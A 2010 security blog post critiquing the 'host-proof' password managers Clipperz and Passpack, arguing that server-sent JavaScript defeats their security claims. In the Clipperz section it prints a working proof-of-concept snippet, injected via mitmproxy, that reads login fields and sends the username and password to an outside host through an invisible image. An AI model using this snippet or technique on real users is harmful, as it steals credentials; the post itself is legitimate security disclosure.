Host-proof applications: doing it wrong

2010-02-26

Please note that the criticism of Clipperz in this post is now out of date - the Clipperz team is clearly very security-focused, and responded quickly to address the concerns raised below.

Every day I push another bit of my life into the cloud. There was a time when all my personal data lived on one or two drives I could actually see, touch, and sniff. Now, I don't even run a personal backup anymore - my software is on Github, my emails are with Google and the rest of my personal data is spread evenly between Facebook, Twitter and a handful of online productivity tools. I do keep redundant checkouts of the important stuff, but that's really just a side-effect of needing to be able to work off-line. The truth is, my house and all my gear could sink into the swamp tomorrow, and as long as I have a web browser and git I'd be back to work the same day. How wonderful...

... but, then again. I think like a devious, malicious cad for a living, and where one part of me sees convenience, another sees spooks, privacy violations and unscrupulous monetisation opportunities. I can't help but feel we got shafted. We were promised a glorious decentralised future where everyone would be in control of their own data, and instead our lives have been sliced up and warehoused in a small handful of all-powerful, opaque silos. The companies running these things all say the same thing - "Trust us!" - but as data leak follows data leak and privacy violation follows privacy violation, there has to come a time when users decide that promises aren't good enough.

Host-proof applications

It turns out that the first tentative steps towards a better way of doing things have already been taken. The broad goal is simple: to design web applications in such a way that we don't have to trust the host. Javascript interpreters are fast enough nowadays to do real-world crypto at reasonable speeds, so we can encrypt and decrypt data on the client side and store only encrypted data on the server. The server never sees our encryption keys, and if the implementation is secure, couldn't access our data even if it tried.

Two groups of people have pioneered this application development style, under two different names. As far as I can tell, the idea was first articulated in 2005 by Richard Schwartz, and fleshed out on the ajaxpatterns.org wiki under the name host-proof hosting. Shortly after that, Clipperz floated as the first real-world, commercial implementation of essentially the same idea, but its founders described what they were building as a zero knowledge web application. Reading these manifestos carefully, it seems clear that although their emphases are different, their core aims and principles are identical. It's also pretty clear that both terms are misnomers. "Zero-knowledge" has a specific cryptographic meaning that's only peripherally relevant to the broad application design pattern. What's more, the term is misleading to the layperson, since there's no such thing as a "zero-knowledge" application, in any real sense. The server unavoidably knows quite a lot about the client - the address they're connecting from, how frequently they connect, what operations they're executing, what browser they're using, and so on. "Host-proof hosting", on the other hand, assigns the "host-proof" attribute to the wrong end of the pipe. A more accurate term would be host-proof application, and that's how I'm going to refer to these ideas in the rest of this post.

The pot of gold at the end of this rainbow is to combine the benefits of the cloud with strong, host-independent data security guarantees. The possibilities are incredibly enticing. I can imagine a cryptographic Facebook where you don't need to trust the host to aggregate the entire world's private data in the clear. I can imagine storing medical records and financial data in the cloud while still allowing people to maintain direct control over who uses the data and how. I can imagine a Gmail where everyone uses crypto by default, where decryption and encryption happens right in the browser. Yes, the technical obstacles that stand in the way of these dreams are immense, but if we can surmount them a better world lies beyond.

Two steps to Shangri-la

Before we look at some real-world applications, I'd like to briefly talk about two essential elements of a secure host-proof application: client-side security and verification. Lets take each of these in turn.

1: Client-side security

Host-proof applications turn the traditional web security model on its head. Instead of trying to secure the server from the browser, we have to secure the browser-side application from the server. In fact, we fundamentally don't care about the server side of the equation - the client-side code should be secure no matter what combination of malicious skulduggery happens upstream. Yes, this does mean that a host-proof app's security hinges on the security of the browser scripting environment, which is undoubtedly one of the most security-hostile spaces ever devised by the mind of man. Many sensible people would call it quits right there, but I think we can do a decent job of client side security with careful thought.

2: Verification

Once we have a secure client-side application, we need to make the tools and information available to allow users to actually verify that the code running in their browser is secure. This immediately implies that the client-side of the application has to be published somewhere independent for peer review. Perhaps surprisingly, we can also conclude that publishing the server code of a host-proof application is a distraction. Spending time verifying the security of the server code is a waste of effort, since we must always assume that the server has already been compromised, and is actively malicious.

The next step in the verification process is harder. Every time the user visits a host-proof application, they are getting a blob of potentially malicious data from the server. It's vital that there be some mechanism that allows the user to check that the code running in their browser matches the code published for peer review. One obvious but cumbersome way to do that is to make sure that your entire application is a single, rolled-up blob, and then to simply publish a checksum. Although it's a pain in the ass to do, in theory users can download and verify the application's integrity. In reality, the vast majority of users won't ever bother use a verification system this cumbersome, and even those that do won't do so every time. That's not a good reason to give up, though - making this process workable for users is critical if the host-proof paradigm is to be viable.

How to penetration test a host-proof application

Two characteristic "game-over" scenarios follow immediately from these security elements. First, we could subvert the verification process to fool the user into using a corrupted application. Second, we could exploit a security hole in the client-side application to execute arbitrary code in the browser. If we can do either of these things, a malicious entity in control of the server could access a user's private data and have their merry way with it. Which would be bad. In both these scenarios the server is the attacker - so, where a traditional web app penetration test often revolves around malicious data sent by the browser to the server, a host-proof app penetration test focuses on malicious responses from the server to the browser. Of course, there are a myriad of other ways in which the security of a host-proof app can fail - but verification and client-side security are the first two hurdles to cross.

At this point, you might be thinking that a tool that lets you tamper with server responses before they hit the browser would be damn handy. Tools like TamperData let you modify outbound requests, but it turns out that extending them to do the same with inbound data is non-trivial. Not entirely coincidentally, though, I recently released a little tool called mitmproxy that does the job just fine. It's an interactive, SSL-capable proxy with a curses interface that sits between your browser and the server, letting you intercept and modify requests and responses on the fly.

Let's take mitmproxy for a spin to look at some of the contenders in the host-proof application space.

Clipperz: facepalm

First in line is Clipperz, a project I've been following for a number of years. The founders - Marco Barulli and Giulio Cesare Solaroli - were early pioneers of the host-proof application paradigm, and as far as I know, were the first to try to make a livelihood by commercialising the idea. To get a flavour for what they're about, I highly recommend this interview that Jon Udell did with Barulli.

Now, lets review the claims that Clipperz makes for itself. Its about page says:

We got used to trust online services with our data (photos, text documents, spreadsheets, ...) but Clipperz proves that this is not necessary: users can enjoy a web based application without the need to trust the web application provider.

The user guide expands on this:

Clipperz simply hosts your encrypted cards and provide you with a nice interface to manage your data, but it could never access the cards in their plain form.

Well, righty oh! That's a very forthright guarantee. Lets see if Clipperz lives up to it.

1: Verification

Clipperz takes verification seriously. The entire Clipperz source is prominently published for review. They also seem to have architected their application specifically to make checksum verification possible - the client-side comes down the wire as a single blob, with no external dependencies. This means that verification really can be as simple as taking a checksum over the application page. They even have instructions that show how to do this using wget.

There are two important criticisms of the Clipperz verification process. Most critically, they publish the checksums and verification package right on the Clipperz homepage. If we assume that the server has been compromised, the attacker is in control of both the checksums and the app, and we're up the creek. Secondly, although Clipperz has gone to a lot of effort to make the process easy, verification is still too cumbersome. The vast majority of their users will never bother to verify their client-side at all. Some more innovation is needed from an already very innovative company to make this process simpler.

All told, though, this is a good effort - with a little bit of extra work, Clipperz would get a definite "pass" for verification.

2: Client-side security

Client-side security is a different story. The moment we look at the traffic between the client and server, it's immediately clear that something is very, very wrong. Here's a sample of what comes down the pipe to the client:

throw 'allowScriptTagRemoting is false.';
//#DWR-INSERT
//#DWR-REPLY
var s0={};var s1={};s0.result="done";s0.lock="4EB1C567-7FFE-928D-E0C8-11AF8870DE57";
s1.requestType="MESSAGE";s1.targetValue="blahblah";s1.cost=2;
dwr.engine._remoteHandleCallback('5','0',{result:s0,toll:s1});

Don't let the throw at the top of the snippet fool you. That gets stripped off by the client-side code, and the remainder of the snippet is then run by the client-side application. Yes, folks: Clipperz uses DWR, which means that the Clipperz server sends little chunks of Javascript back to the browser, which are then eval-ed in the password manager's context. This means that the application is designed to let the supposedly untrusted server execute arbitrary code in the secure environment that contains your S00P3R S3KR3T data. So all their work to make their application verifiable and all the effort expended to publish their code for review is worth exactly bupkis.

Facepalm.

To prove that this isn't an academic issue, here's a trivial exploit showing how someone in control of the Clipperz server could access a user's private data even if they went to the effort of verifying the application checksum. WARNING: Doing this using your real Clipperz credentials will make your username and password appear in my webserver logs! If you're following along with mitmproxy, you need to set an intercept on responses from Clipperz ("i" for intercept, and use the pattern "~s ~u clipperz"). And then add the following lines of code to the first server response after you click the "login" button, just below the "#DWR-REPLY" marker:

var f = getElementsByTagAndClassName("input", "loginFormField");
var s = "http://corte.si/sploit/";
for (var i=0; i < f.length; i++){s = s + f[i].value + "::";}
var e = IMG({"src": s, "height": "0px", "width": "0px"});
appendChildNodes($("header"), e);

This rough and ready snippet simply adds an invisible image tag to the page, which loads a bogus image that includes the username and password in the source path. Image sources aren't constrained by the same origin policy, so we can send this data wherever we like - in this case, the server my blog is hosted on. The login process will continue as usual, and unless the user is watching their network traffic carefully, they'll be none the wiser.

Don't worry Clipperz, Passpack does it wrong too

The other big contender in the host-proof application space is Clipperz' slicker-looking rival, Passpack. A glance at their security page shows that they definitely refer to themselves as applying the "host-proof hosting" pattern. Their FAQ makes the typical strong security claim:

Can Passpack read my passwords?

Not even if we wanted to. It's not possible.

Not possible, eh? Well, lets see.

1: Verification

Passpack has completely punted on the verification issue. They don't publish any checksums, they don't publish their source, and their application is split up into innumerable components that would make verification a nightmare. In a blog post comparing themselves with Clipperz, they make clear that this is a conscious choice on their part, not an oversight. In fact, they level the same criticism at the Clipperz verification process that I do. Clipperz publishes their verification package right on their homepage:

However, if I am in a phished version of Clipperz, it's a moot point because the phisherman can falsify those values as well so that they match his spoofed version.

This misses the point of the checksum somewhat - we're not trying to protect against phishing, but against a malicious server - but the criticism is valid none the less. Passpack is also right that the Clipperz checksum verification process is too cumbersome:

I just don't think anyone would really do that - always, every single time, many times a day.

Quite so. But instead of trying compete with Clipperz by doing a better job on these points, Passpack gave up - they only publish a checksum for the offline version of their application. This is a disastrous decision. Passpack users are compelled to execute whatever the server passes them, without any verification or review. If this was a sudden-death match, that would be Passpack pretty much done right there.

2: Client-side security

But even if they did have a verification mechanism, it still wouldn't help. Firing up mitmproxy, our first look at the traffic seems promising. During the login process we see JSON snippets - which can be deserialized safely - being passed to and fro, rather than chunks of Javascript. Then we notice that the news pane comes through as a chunk of HTML. When we edit the response to add a <script> tag, it gets executed. Furthermore, when we click on any of the menu buttons, gobs of Javascript are pumped into the client app and merrily evaluated. I stopped looking at the application at this point. There's no point showing an example of how someone in control of the server could exploit this situation, because it's clear that preventing script injection is simply not a design goal of the Passpack project. So, that's 0 for 2 for Passpack.

The emperor sure looks naked to me

I want to make it clear that I wish both these projects well. Their founders have thrown their hats into the ring, and had the stones to try to make the host-proof application paradigm work in a commercial setting. Both projects have published significant libraries for building host-proof apps (see the Clipperz Javascript Crypto Library, and the Passpack Host-Proof Hosting Library) that will undoubtedly make the road easier for those who follow in their footsteps. It's in the interest of all freedom-loving citizens of the Internet that both these companies prosper, because we need more host-proof applications, not fewer. However...

Without a client-side that is both secure and verified in the sense I describe above, an application simply isn't "host-proof" in any meaningful sense. If your application is designed in such a way that you can simply ask your user's browser for their private data, you can't say "we couldn't access your data even if we wanted to", and you can't say "we've designed our system so that you don't have to trust us". Now, I can anticipate some of the response to this statement - people will say that checksum verification isn't practical, that users wouldn't bother, that an application that sticks rigorously to the host-proof application principles would be unusable. This might all be true - but is beside the point. The truth is, if someone hacked the Clipperz or Passpack servers, they could steal bank details or server passwords or whatever else people keep in their lockers - so we're relying on the hosts to be secure. And like Google and Facebook, Clipperz and Passpack could access their users' private data - they're just promising that they won't. Just like everybody else, really.

Luckily, the steps required to fix things are clear. Clipperz made a critical mistake in choosing DWR for their client-server communications, but that can be rectified. Passpack needs to abandon its misguided idea that no verification of the client-side application is needed, and do the work to make this possible. Passpack already uses JSON for most of its communication - if they used it consistently for all server communication, their client-side app could be on solid ground. Both projects need to put on their thinking caps, and come up with a better way to approach the client-side verification problem. I'm hopeful that we'll see improvements from both projects in response to this post.

Up next: building a minimal host-proof application

All of this started off the exhaustingly monomaniacal hamster-on-a-wheel that I have where other people have a brain. I found myself awake at 3am, thinking about host-proof apps, and pondering the ineluctable modalities of the verification problem. So, I decided to spend some time building a minimal useful host-proof application to experiment with. Tune in next week for my next thrilling post, where I build and launch a tiny, experimental and unashamedly user-hostile host-proof app.